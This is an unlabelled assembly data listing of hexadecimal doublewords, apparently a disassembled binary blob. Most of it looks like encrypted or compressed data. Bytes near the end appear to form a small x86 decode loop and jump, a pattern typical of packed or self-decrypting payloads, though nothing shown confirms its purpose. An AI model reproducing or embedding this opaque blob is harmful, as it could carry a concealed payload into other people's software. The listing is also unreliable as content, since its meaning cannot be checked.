		dd 10353487h, 65970B95h, 450A6833h, 0DDEAD611h,	940022E5h
		dd 4B58DC17h, 42DECED7h, 844A8561h, 0CD54628Ch,	4FB590FCh
		dd 40D017D4h, 0B6D440C8h, 0DCEA5E2Fh, 6B8D8556h, 0A71BE520h
		dd 11065ADCh, 910512DAh, 0B82CFD83h, 545324AAh,	213F6159h
		dd 0D3CBCA9Bh, 0D4247B4Ch, 75D4C772h, 16686D74h, 66EF0000h
		dd 8D13319Dh, 0AA3250BCh, 0C54F6DD9h, 0ED7290FCh, 0A5F1B01Ch
		dd 1F8B5CE1h, 41AD7601h, 62CE9723h, 80ECBD44h, 0EE04CF7Bh
		dd 86D0171Dh, 0FC296578h, 43E5B024h, 1BDC1794h,	58C9A0Eh
		dd 8FE2AB37h, 0D8A0D823h, 152F9964h, 1A27D017h,	150D661Bh
		dd 39B2D017h, 0B725AE3Ch, 60F05A3Fh, 3F000000h,	9F152932h
		dd 0ED41EE1Ch, 0EB040075h, 655DB04Dh, 0BE32C632h, 114881F3h
		dd 6D6C79D6h, 1148BEB8h, 2D3B03D6h, 0DDD8D7A8h,	7F0D0AE5h
		dd 5C39EA74h, 2ABFh, 5E990E00h,	91D61145h, 0E6188C14h
		dd 1145D51Bh, 98909DD6h, 5E28A36Eh, 3542DC14h, 0AEC48FC1h
		dd 46D0125Ch, 94E7B03Ch, 29977A9Ch, 0E5B024FCh,	0DC144F16h
		dd 0A8C4C3D0h, 0B42049Fh, 5E561953h, 14DFD158h,	0D01287DEh
		dd 0CA368996h, 21F27A88h, 0D2A32A22h, 8D85D8D3h, 302F0087h
		dd 0C70D0B14h, 0E4612F0Ch, 9061E6ECh, 0DEF9131Ch, 1F6A3BC3h
		dd 0A8A073B9h, 0BBB813F3h, 4FBB8C13h, 50DCAA31h, 3A8D8887h
		dd 11EF163Bh, 305DD29Dh, 815DA17h, 26F77E9Ch, 4E1FA4B2h
		dd 0A75C544Fh, 41969BF2h, 0F9F65142h, 85F9CA51h, 261EEF77h
		dd 915FE604h, 3F3A390Ah, 6BF5EDECh, 52511AA5h, 0D050457h
		dd 6831BC82h, 0BE231615h, 0DBCEA95Eh, 14E56DBDh, 1B18F715h
		dd 0BECCFA70h, 97726A33h, 9A6BF29Ah, 0B889102Eh, 8F6994B9h
		dd 0B4850D1Bh, 7B46BAB5h, 522CC575h, 0CEF8F0FDh, 42038E9Ch
		dd 0FBD95E4Eh, 0FF5219h, 6D4A0D05h, 55829A3h, 0E76E8CF8h
		dd 0C1C09119h, 1FF076C6h, 0D3D22520h, 2065AEB7h, 7D578A6Ah
		dd 2BF47F85h, 0E0A9342Ch, 955EE9E1h, 0EFEEBF45h, 0DA858241h
		dd 0A24A47A2h, 0C0DE4A1Bh, 0E6F46839h, 48A6715Bh, 285C513Fh
		dd 0CEC9C81Bh, 81FC21D6h, 53B883F7h, 0D3565418h, 0B53C5AC6h
		dd 0DD6270E4h, 0AA5F140Ch, 7652DD40h, 0FB7B4BDh, 662FBA88h
		dd 0FD89A713h, 0B83D3534h, 1CF41EEFh, 0CCC7C697h, 0DC263D81h
		dd 0B928A89h, 0BD433B3Ah, 6D1EDECh, 7652B5E8h, 111A7B88h
		dd 777D4814h, 0FF7652B5h, 0DA999FF2h, 0E0A935DDh, 1CA5674h
		dd 0B7800A02h, 807DD8B8h, 5BA3ABB4h, 0E04AE7AEh, 3E3D0690h
		dd 0B9454B43h, 0DA6684F0h, 0B0ED1211h, 0D2A974E8h, 947C57CEh
		dd 8B6A8887h, 2CB4C28Eh, 0D15D635Bh, 0A9879A10h, 5924BD46h
		dd 70575A1Bh, 77BCEDBh,	575A363Ch, 5EB1BE70h, 5B4DD4F2h
		dd 575A6290h, 0B2051270h, 6634BBB3h, 0BDBC0FE0h, 6F6E3FC5h
		dd 2423EC77h, 19C4C16Ch, 0AF575413h, 0DAE35728h, 0AB1CE333h
		dd 86A8A0EDh, 0E0B13644h, 54F7FCE8h, 333EFA7Fh,	8D000000h
		dd 201CA56h, 64D8A0DDh,	1458FE99h, 96C8FADCh, 1256A5CBh
		dd 33404DD0h, 0D012563Dh, 4B0A8B5h, 0EF7583F7h,	0CCCB9C21h
		dd 64867ED1h, 1C37h, 0CA563A00h, 0A0DD0201h, 0CE9964D8h
		dd 88DC1472h, 9BCD0F7Bh, 1268A2D0h, 4D4552D0h, 0D37C1382h
		dd 8CE2ADAAh, 64D61145h, 5E900457h, 0B003C450h,	0C0155F51h
		dd 0E6A9A1F4h, 0DC14EA6Dh, 75C8F805h, 0CCC7FA7Fh, 0F76B3570h
		dd 0A2F5E32Ch, 7F7E8B26h, 0A1695A63h, 95E392E6h, 68336A9Dh
		dd 4BBF12E3h, 0AD575680h, 5DD1DEDCh, 83F7C84Fh,	46BC497Ah
		dd 453D1FCAh, 0B57E0523h, 3CC084B1h, 0EBA8E32Fh, 1247F7B7h
		dd 0BB156CBFh, 70CF7714h, 12D4686Fh, 0FA830000h, 21A7C531h
		dd 3EC6E450h, 59E3016Dh, 81062490h, 398544B0h, 0B31FF075h
		dd 0D5410A95h, 0F6622BB7h, 148051D8h, 5A98630Fh, 1AD01719h
		dd 5B99F90Ch, 9DD61146h, 41390A8Fh, 9509970Eh, 1471B1CAh
		dd 0B82C39DCh, 0E1551EAAh, 837B4CD3h, 0F1B74361h, 4D16A167h
		dd 0B0A8A7FAh, 9D015829h, 66CEBDBCh, 126C5E65h,	62EB0000h
		dd 890F2D99h, 0A62E4CB8h, 0C14B69D5h, 0E96E8CF8h, 0A1EDAC18h
		dd 1B8758DDh, 3DA972FDh, 5ECA931Fh, 7CE8B940h, 0F200CB77h
		dd 82D01719h, 0FC296174h, 0D2D1A227h, 828152DAh, 6DE13487h
		dd 807D85Fh, 20EB150Dh,	0DC1470C7h, 0E828Fh, 8804B17Ah
		dd 9CF7950Bh, 39BFDD49h, 0EA716968h, 1DFC1A19h,	57225420h
		dd 0D0123219h, 0BA0BED84h, 291F8FE8h, 981E241Ch, 0EB4A53C7h
		dd 30522462h, 955EE939h, 8A1A7B9Dh, 0A0D058D1h,	3FB3840Ah
		dd 9F2C420Dh, 0DE6AD012h, 1A121F15h, 9F47B065h,	49D5D012h
		dd 1898180h, 0CE793130h, 5F2226D1h, 6334BA62h, 7A83B5F7h
		dd 0AED66F39h, 668C990Eh, 0B9D0129Dh, 6C13C3FCh, 303D33CAh
		dd 547AC5E5h, 4F47CAC0h, 0F3F2C349h, 0DDA857CEh, 0D012D197h
		dd 0D1D816E1h, 8B98D012h, 0C1358895h, 2A49868Fh, 787F8F46h
		dd 1857BD80h, 0D2DFDA14h, 0FBC9505Eh, 88A4A374h, 1899B7BDh
		dd 0DF323FDAh, 840A188Ch, 7B99BBB3h, 82423F4h, 0A2A172FAh
		dd 45720AAh, 0D4ACD90Ch, 31FC2E60h, 0DA1899C3h,	0B85BA6B3h
		dd 4C2897BBh, 9D64271Fh, 0DBD01E6Ah, 0AE8761D2h, 41398C3Eh
		dd 0B148895h, 0D927BC68h, 0AED8D06Bh, 0DC4819A0h, 0E46937BEh
		dd 0C6191413h, 0AE79ABC7h, 0C401E640h, 7E7D4ED6h, 0FB838D83h
		dd 0ACDFD72Ah, 5223AA71h, 66C3753h, 0EEC401E6h,	0C73B8EE1h
		dd 4ED63FCh, 87DEEBCEh,	0E0CE3E19h, 0DBEEF5F6h,	7C000010h
		dd 0A0BE2AF3h, 0BFDD491Ah, 0DCFA6637h, 0FF1D8952h, 7E3DA97Ah
		dd 18E96E32h, 3A038EACh, 5B24B0CEh, 794AD1EFh, 915C080Dh
		dd 0D0171B63h, 32F20513h, 453F3500h, 8062D611h,	0B0398F81h
		dd 5FD0A00h, 115F5542h,	1EE773D6h, 653E67B2h, 181312DBh
		dd 0E38651C5h, 83DC178Eh, 0D124ED79h, 0F6C74F5Dh, 2432A78Ah
		dd 0E8D4CC9Dh, 5CB9FFE3h, 0D7A82D3Bh, 0AAE5DDD8h, 16Fh
		dd 0AC2F919Ah, 539E67F1h, 0C3378EF0h, 911DFAF8h, 756D7AD6h
		dd 26F229AAh, 0C673211h, 0EAD61145h, 5F32C0D5h,	29148181h
		dd 0A3152AF6h, 28F029EEh, 701B7613h, 4139FF6Bh,	511AA5B3h
		dd 471E59h, 296D0000h, 0A8B62AF6h, 8E595122h, 0CF982432h
		dd 89E2ADD7h, 61D61145h, 47D2E054h, 32BB867Eh, 453F3500h
		dd 89B7D611h, 1145B0BEh, 0E03340D6h, 56EBBEE8h,	14E8FDCEh
		dd 0D321EC1Eh, 0A3D61145h, 47D39E96h, 4Fh, 2AF6294Ah, 0BBB984B6h
		dd 0E1D61145h, 908B8A5Bh, 0CA958D9Ah, 450C6732h, 0D5EAD611h
		dd 0FACB5361h, 3D0800FBh, 3CE0032h, 0D61145EDh,	45363C07h
		dd 0B1BED611h, 0EAE6B6BBh, 98E09129h, 32824D45h, 453F3500h
		dd 0AAB7D611h, 5324ACB2h, 707D143Eh, 4139FF6Bh,	47A2h
		dd 32F100h, 11453F35h, 5AAAB7D6h, 0DB0E06CFh, 32C5DAAEh
		dd 11450C67h, 56DCE6D6h, 3B8B8685h, 0EAE5E4B5h,	5F328297h
		dd 0EAFFD056h, 0CC9D2432h, 92DAD2CDh, 3A038E9Ch, 45F5FBC6h
		dd 707DD611h, 3847AD78h, 4A000000h, 0B428F029h,	45B9B782h
		dd 3439D611h, 9363EB54h, 2B23768Bh, 0C673260h, 0EAD61145h
		dd 4EDBC4DDh, 0FDF8F7C8h, 0BC4EBBB2h, 5F325469h, 0D0992432h
		dd 7B4CD2D8h, 327D1466h, 0D9D19A24h, 0FFFE81C4h, 0D25A68FFh
		dd 293E0901h, 0E5B024FCh, 0DC179443h, 8C9A0E1Bh, 7DC83405h
		dd 0FB097D0Dh, 80AAA273h, 0EBB4404Eh, 15C230F3h, 0A5B2D017h
		dd 1481F1A6h, 901BD017h, 4BD0C8C7h, 69727B7Ah, 1F98C16Ch
		dd 0C3485622h
		dd 0F8F3F2h, 3FB6DF14h,	65565Ah, 99A50000h, 0D611455Fh
		dd 0E26836BDh, 0C4171211h, 0EABB4250h, 4545AB76h, 202DD611h
		dd 0C02B0628h, 2CD61145h, 0CEC6971Eh, 2296629Bh, 0C0BF8814h
		dd 71A3CDC5h, 2D412668h, 0F1E9A5E2h, 1447952Eh,	0CC515FDCh
		dd 4A5703FBh, 0B237CDD6h, 44764306h, 0B6E82A4Ch, 123985EBh
		dd 10606DD0h, 0BFBAB98Ah, 0D7B2C7h, 29B50000h, 0DCF52CFCh
		dd 8E708902h, 63FCC73Bh, 0EBDC1473h, 0D05C6ADEh, 27599B07h
		dd 127A165Ch, 5F9560D0h, 17D0127Ah, 0F07140Ah, 0B5B47D09h
		dd 178B1590h, 14ABFE4Ch, 0F56976DAh, 8F8E5FE7h,	64729C94h
		dd 85A30FD8h, 2E440FF9h, 0C6DA18CBh, 0E9F266B9h, 0EE6FF9E0h
		dd 0BC716908h, 3E0792A0h, 0EEA1346h, 35068C9Ah,	8D48133Dh
		dd 29D01E4Dh, 139AA81Ch, 0A1ECBD45h, 0A489B69Ah, 0A4106332h
		dd 0F653062h, 0E7C401FCh, 0FC80EEB9h, 6370C401h, 0A3D19C10h
		dd 53C401FCh, 0C1484E46h, 4A2199F0h, 1112DACBh,	0D9D0Ah
		dd 6831BA00h, 8758DEFCh, 0A475FD1Bh, 0C7901A38h, 0E7B83D5Bh
		dd 0AC70BC7Bh, 0CCEA5627h, 0EE0C7841h, 0F2D9962h, 464BB788h
		dd 24A1CF9Ah, 4351D017h, 0FECF5630h, 0AF8007FFh, 464302B0h
		dd 0A5D7717Ah, 78919F5Eh, 7F3B3904h, 0AEBBD611h, 5829B0B6h
		dd 0DDE3E8ECh, 3C2A5C39h, 79000000h, 0B024FC29h, 1448AAE5h
		dd 0C33744DCh, 62612AB5h, 9EBA6F67h, 453D0690h,	7BE7B83Fh
		dd 0D7A02B39h, 0DFE5DDD8h, 5138758h, 0B3AEAD7Eh, 0A4E106BBh
		dd 0C29D68DCh, 8CDA176Ah, 5630137Fh, 7593FFD0h,	6A1F1EEFh
		dd 0D611457Bh, 11E26775h, 0C1921A12h, 7C74C7C2h, 0B521EA76h
		dd 5D2C6A73h, 4AA6472Bh, 0A8A770FAh, 1B82B5ADh,	0A5D7097Dh
		dd 112994DAh, 80F607D6h, 92D47BB9h, 0D4978F9Ch,	0DC17E266h
		dd 2B5DD1DEh, 17831260h, 0DDD5E2D0h, 844F81B3h,	0D017836Eh
		dd 0FB01F906h, 5336A273h, 0B9FF7B70h, 131B25Ch,	29010000h
		dd 321126F2h, 11450C67h, 61D5EAD6h, 450E642Fh, 0D9E6D611h
		dd 5F3216E1h, 0A7B58181h, 8F5A521Bh, 3B902932h,	0CA45AB76h
		dd 202DD611h, 4863C1D5h, 1EEA1D50h, 5D8FA309h, 11455C92h
		dd 0F0714D6h, 28F02944h, 701B7613h, 4139FF6Bh, 4FA2h, 0F629F100h
		dd 0B984B62Ah, 0D61145BBh, 6B362E3Bh, 3F350032h, 5DD61145h
		dd 0F0A09D2h, 0EA140C19h, 1145D41Fh, 0A5709ED6h, 0D611454Fh
		dd 0B2C71A27h, 0CE565F32h, 0F47B89FDh, 7BCE9F26h, 420D817Ch
		dd 0D611452Ch, 0F4BFB7C4h, 34477D14h, 4A000000h, 0ACC02932h
		dd 137E14CFh, 717039C3h, 0D84B7E76h, 6732374Ch,	0D611450Ch
		dd 32C0D5EAh, 0CB29325Fh, 6A8BCA7Ch, 0F67E847Ch, 24321025h
		dd 0D6D1D099h, 70FF96DEh, 4139FF6Bh, 30A2h, 0F029F100h
		dd 0B782B428h, 0D61145B9h, 69342C39h, 450C6732h, 5A68D611h
		dd 5D0901D2h, 43CEDC50h, 32B7827Ah, 0FFD0565Fh,	477D14EAh
		dd 1Dh,	9C24324Ah, 0D9D1CCCBh, 90A573A6h, 450C6732h, 0D5EAD611h
		dd 565F32C0h, 14EAFFD0h, 0FEC6477Dh, 294AFFFFh,	0E5B024FCh
		dd 0DC179443h, 8C9A0E1Bh, 7DC83405h, 2BF4800Dh,	59E1312Ch
		dd 0F6C13588h, 0D01715F8h, 0B76C6B78h, 0D01715BBh, 8F8E57E1h
		dd 403F1097h, 86312E37h, 59E7E45Dh, 5A3FB792h, 4099h, 0F67B8900h
		dd 3F0A2625h, 0D0171D31h, 1161B4C1h, 0BFBAB98Ah, 32FCC7h
		dd 11453F35h, 5BDE62D6h, 0A7166049h, 0BAB883B1h, 3AD61185h
		dd 1FE2DA2Dh, 0D61185D5h, 67EEBC43h, 0AAD74396h, 0ADh
		dd 27FC29ADh, 0D81D49Dh, 146FE542h, 844F7DDCh, 0D0126F6Eh
		dd 32A6F906h, 0CCCB9C24h, 0A1AFD9D1h, 0C2E04C15h, 496E6D36h
		dd 9ED044DCh, 3A390A90h, 0BA84473Fh, 0B2DA14BEh, 972331A5h
		dd 0B84462CEh, 52CBF0EFh, 0B94452C6h, 3FEE04CFh, 7986DA18h
		dd 400B2726h, 0DA183F32h, 6A62B5C2h, 0F4D87540h, 4956D01Eh
		dd 723BC7D5h, 0BB42507Ah, 0D9607EEAh, 532FB108h, 3334DACAh
		dd 0A6D2Ch, 9861EA00h, 0B7880E2Ch, 0D4A52D4Bh, 0F7C04A68h
		dd 17E86D8Bh, 0DCA0ECABh, 0FC1A8657h, 1E3CA871h, 3F5DC992h
		dd 767BE7B8h, 21F1FFCAh, 7381D017h, 9D243260h, 0B7DACDCCh
		dd 9A038h, 0BDC3BB0Eh, 0E3F16536h, 928D8C5Dh, 66EDE59Ah
		dd 0DAE89695h, 47109AA8h, 118F343Ah, 7D733ED6h,	0F5D6118Fh
		dd 0EDE5F2E8h, 0E66D1512h, 0C5C48D18h, 70B77CAh, 5C392DCCh
		dd 0DEF4F58h, 351FC32h,	40D00Bh, 291F0000h, 3A3803FCh
		dd 0BAD61145h, 0B4E65AADh, 504F20A6h, 319A5D55h, 39DC1476h
		dd 0DF112D2Ch, 1274DE14h, 398996D0h, 0E9E4E3B4h, 9364EBF1h
		dd 0B1820927h, 88108DB2h, 5EE24914h, 7784DA17h,	0D056280Bh
		dd 435193FFh, 0A9A3EEB7h, 4703B835h, 5E4D1008h,	7ED611CAh
		dd 72BD29F2h, 2EF96D0Bh, 0DC171B33h, 0B4C23643h, 0CEF5B2Ch
		dd 3F350032h, 0B7D61145h, 45B0BE89h, 3340D611h,	0F7FCE8E0h
		dd 4F5CB9FFh, 0EEEDB641h, 1EC0FBF3h, 0F000001h,	1126F229h
		dd 450C6732h, 0DDEAD611h, 42CFFC40h, 733CC81Fh,	0D3267974h
		dd 0F20032BEh, 0D7A29A6Bh, 32148181h, 0D4CC9D24h, 8DA26EA1h
		dd 0D0992432h, 25DED6D1h, 28F02970h, 98243213h,	96F1D7CFh
		dd 39FF6B70h, 28A241h, 32F10000h, 0D4CC9D24h, 8DA26EA1h
		dd 0D19A2432h, 0B5DFD7D2h, 114581EAh, 475C69D6h, 0CE565F32h
		dd 7D14E8FDh, 4447h, 0F6294A00h, 0B984B62Ah, 0D61145BBh
		dd 23F52CE6h, 968C0E85h, 32C69189h, 11450C67h, 0E9B4EAD6h
		dd 0D611458Bh, 0F60B5E6Bh, 26F70032h, 0F852E9A0h, 5616E1D9h
		dd 32E8FDCEh, 0CFCE9F24h, 807F50D7h, 0F23A3285h, 9C24325Bh
		dd 0FCE7D3CBh, 374139FFh, 26h, 28F02986h, 0B9B782B4h, 39D61145h
		dd 3269342Ch, 11450C67h, 0C4D9E6D6h, 0D0565F32h, 7D14EAFFh
		dd 2E47h, 0F0294A00h, 0C2ABB428h, 9BD9A484h, 5BD61102h
		dd 74B034Eh, 328B564Eh,	11450C67h, 0A6DDEAD6h, 0BAC1B5B6h
		dd 326075C8h, 0FFD0565Fh, 477D14EAh, 0FFFFFEC0h, 9A24324Ah
		dd 458FE5B0h, 5A67D611h, 5E2FB707h, 396C645Fh, 0F5C034CCh
		dd 0DC179433h, 0CA9B212Bh, 6DF50377h, 6C7AA49Ch, 5DA814E5h
		dd 0E20A652Dh, 0F7F3819h, 777D48BCh, 0FFD0175Eh, 323EF3F2h
		dd 8FD0175Eh, 408B1916h, 0DC5A3FFCh, 817942CEh,	3146h
		dd 24329500h, 8CE2AD9Fh, 64D61145h, 490C0457h, 0D611452Fh
		dd 264C1749h, 0CED61145h, 0C23573C9h, 659A0B6h,	0B381080Eh
		dd 9E0A5D2Eh, 0A571h, 327400h, 909D66F2h, 0D6114562h, 0DA0D0512h
		dd 9661D5A3h, 0DC144EC5h, 0EEFC707Dh, 76A09869h, 9F13DC68h
		dd 3F3E0791h, 0C2A4C44h, 3543B780h, 34E9E1AAh, 960A960Fh
		dd 149D75CBh, 7CF0FDDAh, 0AD19E26Eh, 0B73D038Fh, 99ECE7E6h
		dd 0CA28F325h, 0AADA181Ch, 0CBF0A59Dh, 8752C652h, 0D01ED7CEh
		dd 0D9E75B68h, 0F7158152h, 0BC489F70h, 0D5DACA32h, 748CDD4h
		dd 860F0000h, 0AD3351BDh, 0CA5270DCh, 0E56F8DF9h, 0D92B01Ch
		dd 0C511D03Ch, 3FAB7C01h, 61CD9621h, 82EEB743h,	0A00CDD64h
		dd 0CE24EF9Bh, 0A6D01722h, 0CF568598h, 8007FFFEh, 4302B0AFh
		dd 46179E46h, 0BDA6C9D2h, 0AF1EB86Dh, 5A9195B7h, 0D15C3926h
		dd 47h,	24FC2920h, 6506E5B0h, 0D3E0DC14h, 64D51FD4h, 0BD43D012h
		dd 70F5EDECh, 4F4E17A2h, 4A020154h, 0CEF7A29Fh,	7E8C5855h
		dd 2E2928F9h, 0C2814A36h, 6B9D5A3Ah, 126852A0h,	753EC8D0h
		dd 78857B76h
		dd 394580h, 29940000h, 0E5B024FCh, 0DC146466h, 0FCF4F300h
		dd 4F20A775h, 8B5688FCh, 0D0126565h, 0E608000Dh, 717041C8h
		dd 0C34AD14Ch, 0A5F8F3F2h, 0CD9E2331h, 0FE0ABD5h, 0C7DA176Eh
		dd 136B4EBAh, 4AD2E078h, 877F7A79h, 8D572954h, 0D0CB84C9h
		dd 0D7097DD0h, 11BEE60Ch, 0FE848ED6h, 0E0332E2Dh, 18F3BEE8h
		dd 12DC149Bh, 0FC839105h, 39312C2Bh, 98110053h,	99A79083h
		dd 128B4E0Fh, 7D28B694h, 38302B2Ah, 8C009805h, 2BF6285Ah
		dd 106BB6C5h, 5D93A0ADh, 15106BB6h, 24D1008h, 0AC1A6EBBh
		dd 27BA09Fh, 0C2D00276h, 726D6C3Dh, 6CB00F65h, 0E2DAE71Ah
		dd 8BA3EDB8h, 3E4B1069h, 6435BCCAh, 8553DAF8h, 627835FEh
		dd 0B989CE87h, 26BC1366h, 539B3BE4h, 5DC4B52h, 0F27B0000h
		dd 199FBD29h, 36BEDC48h, 51DBF965h, 79FE1C88h, 317D3CA8h
		dd 0AB17E86Dh, 0CD39028Dh, 0EE5A23AFh, 0C7849D0h, 62905B07h
		dd 12D0172Ch, 32F104h, 11453F35h, 0B2AAB7D6h, 555425ACh
		dd 390CD55Dh, 134BF630h, 3B7DE93Ch, 0A7779832h,	1109731Eh
		dd 65D9A7DEh, 17AD849Ah, 4BBFCCDCh, 0E9E8B13Dh,	46996AF1h
		dd 19A1994Eh, 1951F148h, 9192CEC1h, 5658Ah, 0A069F200h
		dd 0BF901634h, 0DCAD3553h, 0FFC85270h, 1FF07593h, 0E4A8F4B3h
		dd 4228E5Fh, 2644B079h,	4765D19Ah, 7E83EFC0h, 2CE907D2h
		dd 7B89D017h, 35003268h, 0D611453Fh, 7FB2AAB7h,	3B067A06h
		dd 0DC1794E1h, 415D5C69h, 0A2E440Fh, 0B9C6D017h, 6233BBC1h
		dd 0C0DF610Bh, 0AEB5B6CEh, 506h, 93FFC851h, 0B21EEF75h
		dd 0CF3B0C94h, 0F25E27B1h, 127E4FD4h, 0BE430753h, 0D86381EDh
		dd 0F985A30Fh, 1FA6C430h, 31DDE24Eh, 172C0866h,	0C7DAE8D0h
		dd 0B024FC29h, 179457E5h, 8E020FDCh, 0A630F680h, 0DD928ADDh
		dd 358C5DE5h, 0CEC0E081h, 0B3E2E9EAh, 0A4000004h, 0C8E6521Bh
		dd 0E7057142h, 4228E5Fh, 2745B17Ah, 0A665D1A2h,	4011965Ah
		dd 622BB6D4h, 834CD8F6h, 0A172F917h, 0B9843035h, 0D0172FBBh
		dd 561A2D3Bh, 7FFFECFh,	0D0B0AF80h, 49D07875h, 2827F07Bh
		dd 0DDDCA530h, 0D03C8FE2h, 63915C8Eh, 13D61145h, 81080E06h
		dd 0F3FCB1B0h, 6DD61145h, 7E05ADAAh, 2A3039ADh,	749C39D9h
		dd 0DDBC5273h, 0D92C5725h, 0BC93F38Eh, 0DDD5043Eh, 6B3570BBh
		dd 5A262CF7h, 414EDC17h, 6738BFCDh, 8556DDFBh, 5C246186h
		dd 8253DAE8h, 0CC95608Ah, 0CDA108Ah, 0AEA677FEh, 0EB09D402h
		dd 8BDA1C28h, 85B72B7Eh, 0D41FF077h, 5C36E6E9h,	0ADB3ABFDh
		dd 4CD5826h, 0A02745B1h, 72ABD0CFh, 902932A6h, 1BC69F64h
		dd 0D49FC9C1h, 0D0198A0Bh, 0A15FB6C3h, 1EDACB5Dh, 3D0161Dh
		dd 0FE870000h, 25ABC935h, 42CAE854h, 5DE70571h,	850A2894h
		dd 3D8948B4h, 0B723F479h, 0D9450E99h, 0FA662FBBh, 188455DCh
		dd 569C6713h, 1ED0172Eh, 0CF56FD10h, 8007FFFEh,	5A592AB2h
		dd 55A00C5Fh, 0FCCD5328h, 0D816E1FDh, 98D61145h, 71E5388Bh
		dd 8610DE63h, 70C3BEBDh, 4C834E78h, 0E6DC144Ah,	26483FE1h
		dd 0D2250B22h, 86D41ED3h, 0F069D012h, 246E65F3h, 20A55A3Ah
		dd 0F4000000h, 0B024FC29h, 1468C2E5h, 908F9CDCh, 126691DBh
		dd 0B0AD26D0h, 3AC0A922h, 0E3645Ah, 32B30000h, 0CDCC9D24h
		dd 4DD4DAD2h, 6FFA087Ch, 1F9AEA6h, 5728AE7Ch, 0B0A5D58h
		dd 202FE6EFh, 7DD1820h,	105B73ACh, 59A93FE2h, 90403D4h
		dd 0B3840B11h, 0D8A9313Fh, 0AC332BE0h, 19946FDBh, 0FBD611B4h
		dd 1937A374h, 9DC2C192h, 47109B60h, 86FA4D48h, 154DF8BBh
		dd 5FE6F4DCh, 9C948F8Eh, 616FE3F0h, 1C0F0ED7h, 9BA0E5B3h
		dd 352D804Fh, 0C35DC813h, 1C521D4Fh, 0D4D01543h, 0DAA5CFC7h
		dd 0DA12FDF6h, 0CBFD717Eh, 6A6932BDh, 0CC951F6Fh, 7849CED4h
		dd 9B69EE0Ch, 9BF24516h, 0D4C44BD3h, 935C6364h,	0C4000002h
		dd 0E806723Bh, 7259162h, 2442AE7Fh, 4765D19Ah, 0C685F1C2h
		dd 6031B67Ah, 824BD6F4h, 0A36CF816h, 0C1921937h, 0D9A45055h
		dd 0D017299Bh, 563A4D5Bh, 0AC7D03D1h, 0F35FB2ADh, 117D4ED5h
		dd 3FC292Eh, 11453A38h,	5AADBAD6h, 68981BE6h, 0CDD2DC14h
		dd 0D1F48F25h, 3FB75E60h, 69344590h, 0D48988DBh, 0D012649Ah
		dd 1BA9A61Fh, 5A3AC2D0h, 965Bh,	0CF56AA00h, 8207FFFEh
		dd 0B0FDB2B1h, 64D61149h, 82A00CDDh, 0A8B62AFBh, 0FCCD5220h
		dd 0B7AF02FDh, 0E0A0DD02h, 6EC2B15Dh, 0EA5EB1B2h, 14709C1Fh
		dd 5DC9D6DCh, 990DEB12h, 15B363CEh, 7F0913DAh, 12652EB9h
		dd 51C51813h, 6BF0BE43h, 0BDDB479Ah, 3E106738h,	0E3D4C386h
		dd 1C4DBE2h, 0A930000h,	31B7D541h, 4ED6F460h, 69F3117Dh
		dd 911634A0h, 499554C0h, 0C32F0085h, 0E5511AA5h, 6723BC7h
		dd 249061E8h, 4AA8731Fh, 2AD01728h, 0D156091Ch,	0EF769400h
		dd 56CFB21Eh, 7FFFECFh,	0F843AF80h, 4D7FF38Dh, 0B0496344h
		dd 433B593Ch, 1416FB80h, 6F6E7BDCh, 8DF14A53h, 596023Eh
		dd 25204A0Dh, 1C95D012h, 875A911Fh, 0D4E25A3Ah,	4E89814Ah
		dd 31h,	24FC299Dh, 60DAE5B0h, 8794DC14h, 5E99D388h, 561ED012h
		dd 24E0154Dh, 27B35BABh, 11645F5Eh, 766E37C1h, 0DB109E9Bh
		dd 525A3AE0h, 33h, 455E99A1h, 1491D611h, 764D188Ch, 82DC146Bh
		dd 96F7FF79h, 2878798Fh, 0D6D1D0A1h, 0B92532DEh, 747A4577h
		dd 0FCD012D7h, 0D7ED03CEh, 7885D012h, 29622D25h, 0E5B024FCh
		dd 0DC146272h, 0EFADE7ECh, 0C37ADCA4h, 47557170h, 36F9F1C2h
		dd 0D012703Ch, 7D0B0881h, 5A3AD276h, 16BDh, 5F990C00h
		dd 90D61145h, 4C178B15h, 0DC146B77h, 9C6DF5FFh,	29FADD49h
		dd 3A3803FCh, 0BAD61145h, 0FDEAEEB5h, 0ABFE9A17h, 6319E458h
		dd 65DC17A5h, 0B404CD57h, 0B7635B2Ch, 24FE1BB2h, 8BDEE6F9h
		dd 0B0810917h, 840B03B8h, 0A22947B3h, 0AF545DD1h, 90257CFAh
		dd 883DF2EAh, 243E9459h, 2B2AFB83h, 0DCDBAC33h,	0E6FFF5C0h
		dd 6A77843Ch, 6D1815F4h, 35DDDA35h, 8859E0AEh, 24ABC935h
		dd 0FEB9135Bh, 7BCEC5C9h, 0A66FF907h, 7701F9AEh, 3D083AAEh
		dd 843CC237h, 5BAB2BFh,	630B08E7h, 0BA830EDCh, 16DC0BBh
		dd 0F77F8DBFh, 0C2DB1926h, 8E9B843Ch, 38099096h, 632CB6C4h
		dd 3AFB66Bh, 0B2000000h, 0CD563D54h, 860D0504h,	32BEB6B5h
		dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h,	0BB433B3Ah
		dd 6DF3EBEAh, 526F9D9Ch, 0C281E289h, 4,	4EA81h,	14870000h
		dd 3C895C24h, 5F696824h, 2C890000h, 40456824h, 4890000h
		dd 27B95124h, 52060651h, 0D589CA89h, 8B54595Ah,	0C4812404h
		dd 4, 8904EC83h, 3481242Ch, 97764F24h, 8408F31h, 4F087081h
		dd 0FF319776h, 81582434h, 4C4h,	242C8B00h, 5E08950h, 4
		dd 8704C083h, 0E95C2404h, 0FFFD0E85h, 0A6960EEBh, 0E9AF98D0h
		dd 0DE3C101h, 0B8C50EB8h, 6066F26h, 0E0FFC503h,	46E4D0D1h
		dd 34C29F93h, 7294B0A2h, 5C9DDA05h, 4E57062Eh, 451D989Bh
		dd 21D36E44h, 0CF48C09h, 1D3315A1h, 76DE9BE7h, 740DC52h
		dd 4AA25FB0h, 812D198h,	0EB38E8Fh, 7679E365h, 7989E6AEh
		dd 1D3169EAh, 2D5D71C6h, 48F18348h, 1D15E5F4h, 3A4075E0h
		dd 361805DCh, 213B7C31h, 78BE2509h, 0EC740F4h, 1D90A633h
		dd 5FF0Dh, 6715C888h, 21B62CFDh, 13D6ACBCh, 6A0E44A9h
		dd 0DE8h, 90456C00h, 0D6560746h, 217D8966h, 10E87241h
		dd 49000000h, 2C32F777h
		dd 15E3498Fh, 3C00DDBh,	0E9394F2Bh, 11h, 1DF14EA7h, 0D04FCCB4h
		dd 0D6D084CBh, 7129B928h, 0BF5A5F34h, 367E6DD9h, 66BCC281h
		dd 10E80000h, 69000000h, 0D06AE1DBh, 0BD1CFE9Ch, 11B79B4Fh
